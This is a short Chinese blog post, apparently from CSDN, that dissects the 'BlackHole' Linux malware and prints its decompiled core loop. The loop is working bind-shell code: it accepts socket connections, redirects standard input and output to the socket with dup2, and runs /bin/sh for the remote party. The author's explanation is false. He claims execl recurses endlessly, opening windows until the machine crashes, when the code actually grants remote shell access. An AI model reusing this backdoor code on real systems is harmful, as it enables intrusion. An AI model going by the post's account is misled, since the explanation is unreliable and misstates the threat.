首页 > 代码库 > 基于Linux平台病毒BlackHole病毒解析
基于Linux平台病毒BlackHole病毒解析
今天遇到了一个病毒,代码量不多,但是利用了一个函数的小空子,杀伤力确实挺惊人的。
转载请注明出处:http://blog.csdn.net/u010484477谢谢^_^
这个病毒前面就是常规的:
socket->bind->listen这个过程大家都
下面我想详细说一下它的攻击方式:
while ( 1 )
{
nsock = accept(sock, (struct sockaddr *)&v10, (socklen_t *)&v9);//wait to link
if ( nsock < 0 )
break;
if ( fork() ) // if Create progress is father progress
{
send(nsock, "\nConnected!\n\n", strlen("\nConnected!\n\n") - 1, 0);
send(nsock, "This fine tool coded by Bronc Buster\n", strlen("This fine tool coded by Bronc Buster\n") - 1, 0);//这是他在自己娱乐呢
send(
nsock,
"Please enter each command followed by ‘;‘\n",
strlen("Please enter each command followed by ‘;‘\n") - 1,
0);
dup2(nsock, 0);
dup2(nsock, 1);
dup2(nsock, 2);
execl("/bin/sh", "/bin/sh", 0);**************这句话就是真正的攻击了,先找找execl看看他咋攻击的呢
close(nsock);
exit(0);
}
close(nsock);
}
在execl中第一个参数是path即指向要执行的文件路径,第二个参数是执行该文件的参数列表。
在上面的代码中首先系统找到/bin/sh这一路径,然后是第二个参数执行/bin/sh,弹出一个窗口,而接下来/bin/sh又作为路径,继续寻找相应的参数列表,也就是/bin/sh,然后再执行,再弹窗,再查找,执行,弹窗,查找,执行,弹窗,查找。。。。一直下去,直到。。直到电脑over
这个病毒写的杀伤力还是挺大的,(⊙o⊙)学无止境啊
最后是一句话送给大家:
很多事情就像旅行一样,但你决定要出发的时候,最困难的部分已经完成了!